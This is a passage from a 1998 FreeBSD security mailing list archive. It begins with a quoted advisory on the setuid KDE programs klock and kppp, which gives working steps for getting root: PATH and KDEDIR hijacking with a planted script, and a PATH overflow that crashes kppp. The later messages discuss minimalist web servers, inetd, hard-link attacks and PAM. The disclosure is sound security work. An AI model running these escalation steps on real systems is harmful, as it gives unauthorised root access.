any process you want: > > setenv HOME "/tmp" > echo thepid > /tmp/.kss.pid > klock > > { > KDE trusts the value of the HOME environment variable to > contain your real home directory. They do think to check > if the pid is -1, but that's about it. > } > > 2 - Obviously, the problem found by HD Moore can take advantage of the > race condition between the two execlp's that klock calls. From > the KDE code: > > execlp( buffer, buffer, "-test", "-lock", 0 ); > execlp("kblankscrn.kss","kblankscrn.kss","-test","-lock",0); > > Can we say TTCTTOU flaw? Less trivially exploitable, more > serious. > > 3 - However, it doesn't even matter, because: > > KDE trusts the value of your KDEDIR environment variable. > > setenv KDEDIR /tmp > echo "#!/bin/sh" > /tmp/kblankscrn.kss > echo "id" >> /tmp/blankscrn.kss > chmod +x /tmp/blankscrn.kss > klock > > "oops" > > (This has ramifications in kppp as well) > > 3 - Hide files in other places in the filesystem. > > More minor, "kppp" doesn't check your $HOME directory very > carefully when executing its make_directories() function, so it > leaves ".kde" directory turds in its path. Unfortunately, it > creates these as root, and then creates user-owned directories > within them. The result? Writable directories on-demand, in > the location of your choice. > > 4 - Buffer overflows? Oh dear. > > > if(getenv("PATH") != NULL) > strncat(path, getenv("PATH"), sizeof(path)-512); > > Er, well, what if I have a path that's more than 512 characters? > Wouldn't it just be awful, if: > > setenv PATH ${PATH}:`perl -e "print 'a'x1000"` > > kppp > Segmentation fault > > > Insert obligatory plea for more security consciousness in setuid > programs here. These are sloppy bugs which should have been avoided > the first time around. > > I'll stick a slightly more polished advisory about this on my webpage > soon. > > -Dave > > -- > work: danderse@cs.utah.edu me: angio@pobox.com > University of Utah http://www.angio.net/ > Department of Computer Science > > > Lo and Behold, HD Moore said: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > - --( the problem )-- > > > > The SUID program klock shipped with KDE 1.0 attempts to execute > > kblankscrn.kss in the same directory as it. If kblankscrn.kss cannot > > be executed (missing or mode -x) then klock will search the current > > user's $PATH for any executable with the same name and execute it as > > ROOT. If no executable is found in the current path it gives this > > message: > > > > >Could not invoke kblankscrn.kss in $PATH or /opt/kde/bin > > > > Default modes for klock and kblankscrn.kss are: > > > > - -rwsr-xr-x 1 root root 8760 Mar 12 1998 /opt/kde/bin/klock > > - -rwsr-xr-x 1 root root 43600 Mar 12 1998 > > /opt/kde/bin/kblankscrn.kss > > > > Systems Affected: any system that runs KDE 1.0 > > ____________________________________________________ > > > > > > ( the exploit ) > > > > This is only exploitable if any of the following occurs: > > > > 1) klock is moved to another directory > > 2) kblankscrn.kss is moved to another directory > > 3) kblankscrn.kss is not executable > > > > To see if you are vulnerable... > > > > 1) as root, chmod 600 /opt/kde/bin/kblankscrn.kss > > 2) login as a normal user > > 3) create a shell script thats looks like: > > > > #!/bin/sh > > echo Running script as `whoami`! > > exit > > > > 4) name this script to kblankscrn.kss and mv to your home directory. > > 5) execute /opt/kde/bin/klock, you should see: > > > > user@hostname:/home/user> /opt/kde/bin/klock > > user@hostname:/home/user> Running script as root! > > > > 6) as root, chmod 755 /opt/kde/bin/kblankscrn.kss > > ____________________________________________________ > > > > > > - --( the fix )-- > > > > chmod 700 /opt/kde/bin/klock or wait until KDE is updated. > > the KDE buglist has been notified > > > > > > > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP for Personal Privacy 5.0 > > Charset: noconv > > > > iQA/AwUBNlDXoa51X44hunVSEQJl2wCgzFbX8KdOfCfOMZGREF5e9H2BGA8An3Qw > > UmLBRO0nACQcXreodKkWFrpm > > =rKnX > > -----END PGP SIGNATURE----- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 10:24:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA15396 for freebsd-security-outgoing; Wed, 18 Nov 1998 10:24:22 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alive.znep.com (207-178-54-226.go2net.com [207.178.54.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA15391 for ; Wed, 18 Nov 1998 10:24:19 -0800 (PST) (envelope-from marcs@znep.com) Received: from localhost (marcs@localhost) by alive.znep.com (8.9.1/8.9.1) with ESMTP id KAA23121; Wed, 18 Nov 1998 10:20:34 -0800 (PST) (envelope-from marcs@znep.com) Date: Wed, 18 Nov 1998 10:20:33 -0800 (PST) From: Marc Slemko To: Per Kristian Hove cc: freebsd-security@FreeBSD.ORG Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 18 Nov 1998, Per Kristian Hove wrote: > On Tue, 17 Nov 1998, Garance A Drosihn wrote: > > > Seems to me the performance implications for web serving is > > not very attractive. In my case I just go with a minimalist > > web server (not apache, I think the name is just "thtppd") > > to reduce the security exposure. (well, it reduces the > > feature set too, of course, but I don't need the missing > > features). > > or pkhttpd:-) You can find it at ftp://ftp.pnet.no/pub/unix/pkhttpd/1.5/ > > pkhttpd is a minimalist (compiled binary: 12KB) web server intended to be > run from inetd (or djb's tcpserver). It was written for the PicoBSD > project, as the minimalist web server they already had, has a very > restrictive license. I (being the author) am of course biased, and would > claim that it is fairly secure, but as I'm not a security programmer (just > security-concerned), I could need some help. Is someone on this mailing > list interested in helping? All you have to do is read through the ~250 > lines of code and see if you find any weaknesses (I'm sure you will) or > holes. Both I and the PicoBSD project would be very thankful. "minimalist" is fine, but it would be a mistake to call this a web server. It really isn't any sort of general solution to the problem presented (ie. starting from inetd sucks because it is far too expensive). thttpd is ok in that it mostly complies to HTTP standards and actually acts like a web server, it is just light on features which, if you don't need them, no big deal. pkhttpd may be fine if you are only interested in something that will often appear close enough to a web server so clients can often understand it for a very restricted set of content. It doesn't read the full request headers, it doesn't output error messages properly (outputs two sets of headers for a 404), it prints random memory locations for unknown MIME types, it doesn't support HEAD properly (doesn't terminate the headers with a blank line), etc. > > As for its features: > - It handles 'GET' and 'HEAD' requests and does cgi. No, it doesn't. It doesn't do CGI (CGI is an interface that is defined, it isn't just running whatever program you want), and it doesn't support even HTTP/1.0. You will face a very real problem with lost responses if anyone ever sends headers in multiple packets, which some systems do a lot. > - It logs the date, IP-address and name of requested file of every > connection. > - When run as root, it runs in a chroot()'ed environment. It runs > cgi programs with the user-id of the owner of the program (and never as > root). ie. on a system where someone can give away ownership of a files, this lets them execute programs as an arbitrary UID. > - When run as an ordinary user, it runs in a subdirectory of the user's > home. Your other files should be relatively safe, since it > - doesn't allow '..' in file names/cgi programs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 10:58:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA19745 for freebsd-security-outgoing; Wed, 18 Nov 1998 10:58:35 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rgate.ricochet.net (rgate1.ricochet.net [204.179.143.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA19582 for ; Wed, 18 Nov 1998 10:57:51 -0800 (PST) (envelope-from enkhyl@scient.com) Received: from mg139-159.ricochet.net (mg139-159.ricochet.net [204.179.139.159]) by rgate.ricochet.net (8.8.8/8.8.8) with ESMTP id MAA17148; Wed, 18 Nov 1998 12:57:07 -0600 (CST) Date: Wed, 18 Nov 1998 10:56:09 -0800 (PST) From: Christopher Nielsen X-Sender: enkhyl@ender.sf.scient.com Reply-To: enkhyl@hayseed.net To: Garance A Drosihn cc: William McVey , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 17 Nov 1998, Garance A Drosihn wrote: > At 2:14 PM -0600 11/17/98, William McVey wrote: > >Cliff Skolnick wrote: > >> I am more concerned about stand alone daemons like sendmail, > >> syslog, apache, etc. > > > > Most of these services could easily be modified to start from > > inetd as wait services. Basically, inetd does the port binding, > > setuid-ing, and execing, just like it always does. As I've > > mentioned before, sendmail can definitely run in this manner. > > So could most web servers. > > Seems to me the performance implications for web serving is > not very attractive. In my case I just go with a minimalist > web server (not apache, I think the name is just "thtppd") > to reduce the security exposure. (well, it reduces the > feature set too, of course, but I don't need the missing > features). Using 'wait' eliminates the performance problem, since inetd essentially hands the socket over to the daemon and won't listen for new connections until it exits. -- Christopher Nielsen Scient: The eBusiness Systems Innovator cnielsen@scient.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 11:30:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA24342 for freebsd-security-outgoing; Wed, 18 Nov 1998 11:30:06 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from lohi.clinet.fi (lohi.clinet.fi [194.100.0.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA24226 for ; Wed, 18 Nov 1998 11:29:56 -0800 (PST) (envelope-from hsu@mail.clinet.fi) Received: from katiska.clinet.fi (katiska.clinet.fi [194.100.0.4]) by lohi.clinet.fi (8.9.1/8.9.0) with ESMTP id VAA12781; Wed, 18 Nov 1998 21:30:08 +0200 (EET) Received: (from hsu@localhost) by katiska.clinet.fi (8.9.0/8.9.0) id VAA07370; Wed, 18 Nov 1998 21:29:16 +0200 (EET) From: Heikki Suonsivu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13907.8203.704500.356204@katiska.clinet.fi> Date: Wed, 18 Nov 1998 21:29:15 +0200 (EET) To: Marc Slemko Cc: Per Kristian Hove , freebsd-security@FreeBSD.ORG Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) In-Reply-To: References: X-Mailer: VM 6.47 under Emacs 19.34.1 Organization: Clinet Ltd, Espoo, Finland Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org See http://www.iki.fi/iki/src/index.html it is small, quick and runs stand-alone. Hogs memory though, as it keeps everything in memory. Marc Slemko writes: > "minimalist" is fine, but it would be a mistake to call this a web server. > It really isn't any sort of general solution to the problem presented (ie. > starting from inetd sucks because it is far too expensive). thttpd is ok > in that it mostly complies to HTTP standards and actually acts like a web > server, it is just light on features which, if you don't need them, no big > deal. -- Heikki Suonsivu / Clinet Oy / Tekniikantie 12 / FI-02150 Espoo / FINLAND, hsu@clinet.fi mobile +358-40-5519679 work +358-9-43542270 fax -4555276 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 12:06:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA29052 for freebsd-security-outgoing; Wed, 18 Nov 1998 12:06:00 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from detlev.UUCP (tex-134.camalott.com [208.229.74.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA29019; Wed, 18 Nov 1998 12:05:51 -0800 (PST) (envelope-from joelh@gnu.org) Received: (from joelh@localhost) by detlev.UUCP (8.9.1/8.9.1) id OAA00898; Wed, 18 Nov 1998 14:02:11 -0600 (CST) (envelope-from joelh) To: Mikael Karpberg Cc: Matthew Dillon , wam@sa.fedex.com (William McVey), hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811172058.VAA02065@ocean.campus.luth.se> In-reply-to: <199811172058.VAA02065@ocean.campus.luth.se> From: Joel Ray Holveck Date: 18 Nov 1998 14:02:09 -0600 Message-ID: <86hfvwixby.fsf@detlev.UUCP> Lines: 23 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Umm... I have seen no one in this discussion mention this, so I'll > say it, after repeating what someone DID say "Small well audited > setuid programs are not a problem". Now... Here's my suggestion, > my_xlock.c: [snip] > Seems simple enough to me, and could be used from scripts and > everything. Another point is that this could be easily augmented to handle other authentication methods. For example, OTPs, hand scanners, physical keys, etc could all be handled by this one utility instead of having to write it into each and every program that needs a password. (Something keeps popping into my head talking about Kerberos, but I don't know why.) Happy hacking, joelh -- Joel Ray Holveck - joelh@gnu.org Fourth law of programming: Anything that can go wrong wi sendmail: segmentation violation - core dumped To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 12:42:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA03750 for freebsd-security-outgoing; Wed, 18 Nov 1998 12:42:33 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from sparty.cse.msu.edu (sparty.cse.msu.edu [35.9.26.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA03744 for ; Wed, 18 Nov 1998 12:42:30 -0800 (PST) (envelope-from cookjaso@acm.cse.msu.edu) Received: from localhost (cookjaso@localhost) by sparty.cse.msu.edu (8.8.8/8.8.8) with ESMTP id PAA16862 for ; Wed, 18 Nov 1998 15:41:55 -0500 (EST) Date: Wed, 18 Nov 1998 15:41:55 -0500 (EST) From: Jason Cook X-Sender: cookjaso@sparty.cse.msu.edu To: freebsd-security@FreeBSD.ORG Subject: SUBSCRIBE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org SUBSCRIBE _______________________ Jason Cook cookjaso@pilot.msu.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 13:10:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA06998 for freebsd-security-outgoing; Wed, 18 Nov 1998 13:10:54 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from tversu.ru (mail.tversu.ru [62.76.80.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA06966; Wed, 18 Nov 1998 13:10:11 -0800 (PST) (envelope-from vadim@gala.tversu.ru) Received: from gala.tversu.ru (vadim@gala.tversu.ru [62.76.80.10]) by tversu.ru (8.8.8/8.8.8) with ESMTP id AAA01429; Thu, 19 Nov 1998 00:08:51 +0300 (MSK) Received: (from vadim@localhost) by gala.tversu.ru (8.8.8/8.8.8) id AAA11093; Thu, 19 Nov 1998 00:09:14 +0300 (MSK) Message-ID: <19981119000914.A11045@tversu.ru> Date: Thu, 19 Nov 1998 00:09:14 +0300 From: Vadim Kolontsov To: Joel Ray Holveck , Mikael Karpberg Cc: Matthew Dillon , William McVey , hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811172058.VAA02065@ocean.campus.luth.se> <86hfvwixby.fsf@detlev.UUCP> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93i In-Reply-To: <86hfvwixby.fsf@detlev.UUCP>; from Joel Ray Holveck on Wed, Nov 18, 1998 at 02:02:09PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, On Wed, Nov 18, 1998 at 02:02:09PM -0600, Joel Ray Holveck wrote: > Another point is that this could be easily augmented to handle other > authentication methods. For example, OTPs, hand scanners, physical > keys, etc could all be handled by this one utility instead of having > to write it into each and every program that needs a password. > (Something keeps popping into my head talking about Kerberos, but I > don't know why.) I wonder how many people would like to see PAM support in FreeBSD?.. Regards, V. -- Vadim Kolontsov Tver Internet Center NOC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 13:13:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA07479 for freebsd-security-outgoing; Wed, 18 Nov 1998 13:13:35 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA07459; Wed, 18 Nov 1998 13:13:32 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id WAA02813; Wed, 18 Nov 1998 22:13:04 +0100 (CET) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id WAA03610; Wed, 18 Nov 1998 22:13:04 +0100 (MET) Message-ID: <19981118221303.28678@follo.net> Date: Wed, 18 Nov 1998 22:13:03 +0100 From: Eivind Eklund To: Vadim Kolontsov Cc: hackers@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811172058.VAA02065@ocean.campus.luth.se> <86hfvwixby.fsf@detlev.UUCP> <19981119000914.A11045@tversu.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <19981119000914.A11045@tversu.ru>; from Vadim Kolontsov on Thu, Nov 19, 1998 at 12:09:14AM +0300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Moved followups to -hackers (as that seems most appropriate for this part of the thread). On Thu, Nov 19, 1998 at 12:09:14AM +0300, Vadim Kolontsov wrote: > Hi, > > On Wed, Nov 18, 1998 at 02:02:09PM -0600, Joel Ray Holveck wrote: > > > Another point is that this could be easily augmented to handle other > > authentication methods. For example, OTPs, hand scanners, physical > > keys, etc could all be handled by this one utility instead of having > > to write it into each and every program that needs a password. > > (Something keeps popping into my head talking about Kerberos, but I > > don't know why.) > > I wonder how many people would like to see PAM support in FreeBSD?.. Enough that it was committed yesterday (or was that this morning?) Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 13:24:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09344 for freebsd-security-outgoing; Wed, 18 Nov 1998 13:24:39 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from cs.rpi.edu (mumble.cs.rpi.edu [128.213.8.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA09324; Wed, 18 Nov 1998 13:24:33 -0800 (PST) (envelope-from crossd@cs.rpi.edu) Received: from o2.cs.rpi.edu (root@o2.cs.rpi.edu [128.113.96.156]) by cs.rpi.edu (8.9.1/8.9.1) with ESMTP id QAA11936; Wed, 18 Nov 1998 16:24:02 -0500 (EST) Received: from localhost (crossd@localhost) by o2.cs.rpi.edu (8.9.1a/8.9.1) with ESMTP id QAA02785; Wed, 18 Nov 1998 16:24:03 -0500 (EST) X-Authentication-Warning: o2.cs.rpi.edu: crossd owned process doing -bs Date: Wed, 18 Nov 1998 16:24:03 -0500 From: "David E. Cross" To: Vadim Kolontsov cc: Joel Ray Holveck , Mikael Karpberg , Matthew Dillon , William McVey , hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <19981119000914.A11045@tversu.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 19 Nov 1998, Vadim Kolontsov wrote: > > I wonder how many people would like to see PAM support in FreeBSD?.. *Raises hand* "Me" -- David Cross To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 13:35:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA11245 for freebsd-security-outgoing; Wed, 18 Nov 1998 13:35:38 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from detlev.UUCP (tex-107.camalott.com [208.229.74.107]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA11224; Wed, 18 Nov 1998 13:35:30 -0800 (PST) (envelope-from joelh@gnu.org) Received: (from joelh@localhost) by detlev.UUCP (8.9.1/8.9.1) id PAA01429; Wed, 18 Nov 1998 15:34:51 -0600 (CST) (envelope-from joelh) To: William McVey Cc: Mikael Karpberg , dillon@apollo.backplane.com (Matthew Dillon), hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811180046.SAA23057@s07.sa.fedex.com> From: Joel Ray Holveck Date: 18 Nov 1998 15:34:50 -0600 In-Reply-To: William McVey's message of "Tue, 17 Nov 1998 18:45:47 -0600" Message-ID: <86d86kit1h.fsf@detlev.UUCP> Lines: 48 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> And what's wrong with popen() even if I was? > popen (at least historically) passes down environment variables (such as > IFS and LD_LIBRARY_PATH) which can cause a program popen()ed by a setuid > program (or setgid program for that matter) to run code the author perhaps > didn't expect. First off, it was designed as a basic something to show the idea, and I recall Mikael making it quite clear that he expected it to be needing work. If we are going to pick at nits, we'd also point out that a) IFS is irrelevant since the program in question would not be calling sh, b) LD_LIBRARY_PATH is irrelevant, since this would need to be in /bin or /sbin and statically linked, c) why the hell pick nits? Let's give him a "good idea go with it" or "bad idea because..." and let the details of implementation be examined later. I'm sure that Mikael would be happy for you to work with him on getting that type of code right. >> Again... I didn't write that piece of code as a suggested code, but >> more like a well-written pseudo-code. I think this might have been >> a mistake. I should have used less correct c-code. > I replied pointing out the bug simply to show that even simple (and > apparently correct) programs can have mistakes in them, and to > demonstrate what I've been trying to convince people of. A new > group for programs like xlock or check_pw to be setgid to would be > better than requiring these programs to be setuid root. Good point. Now, do we see any reason that somebody may be able to get egid shadow privs? (Since egid is frequently not so well controlled as euid privs.) What advantages does the check_pw approach still have, coupled with sgid shadow? I pointed out hardware authentication devices and OTPs earlier; any others? > I'm somewhat new on the security list. What does it take to get > changes decided on? Does something like this need 'general consensus > and running code' (ala IETF), is something like this voted on, or does > someone just go out and do it once they get convinced? In general, most FreeBSD development means get public opinion if it's major (like this), somebody writes a patch, and sends in a pr. Then lobby a committer to merge it. -- Joel Ray Holveck - joelh@gnu.org Fourth law of programming: Anything that can go wrong wi sendmail: segmentation violation - core dumped To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 13:45:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA12672 for freebsd-security-outgoing; Wed, 18 Nov 1998 13:45:52 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from detlev.UUCP (tex-107.camalott.com [208.229.74.107]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA12631; Wed, 18 Nov 1998 13:45:35 -0800 (PST) (envelope-from joelh@gnu.org) Received: (from joelh@localhost) by detlev.UUCP (8.9.1/8.9.1) id PAA01542; Wed, 18 Nov 1998 15:44:26 -0600 (CST) (envelope-from joelh) To: Vadim Kolontsov Cc: Mikael Karpberg , Matthew Dillon , William McVey , hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811172058.VAA02065@ocean.campus.luth.se> <86hfvwixby.fsf@detlev.UUCP> <19981119000914.A11045@tversu.ru> From: Joel Ray Holveck Date: 18 Nov 1998 15:44:25 -0600 In-Reply-To: Vadim Kolontsov's message of "Thu, 19 Nov 1998 00:09:14 +0300" Message-ID: <864srwisli.fsf@detlev.UUCP> Lines: 20 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> Another point is that this could be easily augmented to handle other >> authentication methods. For example, OTPs, hand scanners, physical >> keys, etc could all be handled by this one utility instead of having >> to write it into each and every program that needs a password. >> (Something keeps popping into my head talking about Kerberos, but I >> don't know why.) > I wonder how many people would like to see PAM support in FreeBSD?.. Hmm... Methinks you aren't talking about the cooking spray (although I am working on a kitchen computer... maybe add a few robotics... hmm...) :-) Happy hacking, joelh -- Joel Ray Holveck - joelh@gnu.org Fourth law of programming: Anything that can go wrong wi sendmail: segmentation violation - core dumped To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 14:13:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA16575 for freebsd-security-outgoing; Wed, 18 Nov 1998 14:13:41 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from huset.math.ntnu.no (huset.math.ntnu.no [129.241.211.212]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA16565 for ; Wed, 18 Nov 1998 14:13:38 -0800 (PST) (envelope-from perhov@stud.math.ntnu.no) Received: (qmail 14498 invoked by uid 29119); 18 Nov 1998 22:13:10 -0000 Date: Wed, 18 Nov 1998 23:13:10 +0100 (MET) From: Per Kristian Hove X-Sender: perhov@huset.math.ntnu.no To: freebsd-security@FreeBSD.ORG Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 18 Nov 1998, Robert Watson wrote: > > - When run as root, it runs in a chroot()'ed environment. It runs > > cgi programs with the user-id of the owner of the program (and never as > > root). > > - When run as an ordinary user, it runs in a subdirectory of the user's > > home. Your other files should be relatively safe, since it > > - doesn't allow '..' in file names/cgi programs. > > This may be vulnerable to hard-link attacks. That is, if there is an > untrusted user with an account on the system, and their home directory is > on the same partition as some setuid binary, they can hard link to it. > The same goes for any binary, of course. It might be desirable to require > the uid of the binary to be the same as the directory it is in (no hard > linking directories for non-root), or to require that the link count be 1 > for the binary (this is not always good, and in the event of a system > upgrade is not always telling -- see below) > BTW, this is always a problem when upgrading buggy setuid binaries, and is > a good reason to keep an eye on your daily security mailing. That a user > can preserve setuid programs across an OS upgrade is somewhat unfortunate, > but given hard links, hard to prevent :). All these things are good reasons to not let users have write permission in any directory of a partition that contains setuid binaries. After all, why should you (or they) need that? I certainly don't allow my users to do that. I see your point, but it is easy to avoid. It *is* a minimalist's choice (not a replacement for a fully functional server), and it is really not very well suited as web server for your users. Note that it will not search the users homedir when you ask it for www.foo.org/~user/. I would run the server chroot()'ed to /var/httpd (and I dont have any setuid binaries on /var), and give away directories under /var/httpd/html/ to users if they were in need of putting something on the web. Note that I still run the risk of the user having a cgi that's essentially #!/bin/sh "$@" but that's a risk you take when letting users onto your system. link count == 1 sounds like a good idea. -- per kristian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 14:16:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA17127 for freebsd-security-outgoing; Wed, 18 Nov 1998 14:16:04 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from unix1.it-datacntr.louisville.edu (unix1.it-datacntr.louisville.edu [136.165.4.27]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA17083 for ; Wed, 18 Nov 1998 14:15:58 -0800 (PST) (envelope-from k.stevenson@louisville.edu) Received: from homer.louisville.edu (ktstev01@homer.it-datacntr.louisville.edu [136.165.1.20]) by unix1.it-datacntr.louisville.edu (8.8.8/8.8.7) with ESMTP id RAA33734 for ; Wed, 18 Nov 1998 17:15:22 -0500 Received: (from ktstev01@localhost) by homer.louisville.edu (8.8.8/8.8.8) id RAA04314 for freebsd-security@freebsd.org; Wed, 18 Nov 1998 17:15:22 -0500 (EST) Message-ID: <19981118171522.A2654@homer.louisville.edu> Date: Wed, 18 Nov 1998 17:15:22 -0500 From: Keith Stevenson To: freebsd-security@FreeBSD.ORG Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) References: <199811172058.VAA02065@ocean.campus.luth.se> <86hfvwixby.fsf@detlev.UUCP> <19981119000914.A11045@tversu.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <19981119000914.A11045@tversu.ru>; from Vadim Kolontsov on Thu, Nov 19, 1998 at 12:09:14AM +0300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Nov 19, 1998 at 12:09:14AM +0300, Vadim Kolontsov wrote: > > I wonder how many people would like to see PAM support in FreeBSD?.. ABSOLUTELY NOT! I suffered through PAM on a RedHat Linux box. The combination of flaky Linuxisms, PAM, and the SYSV-style init drove me to FreeBSD. I've been very VERY happy ever since. Please don't visit that nightmare on us here. At least don't integrate it with the base 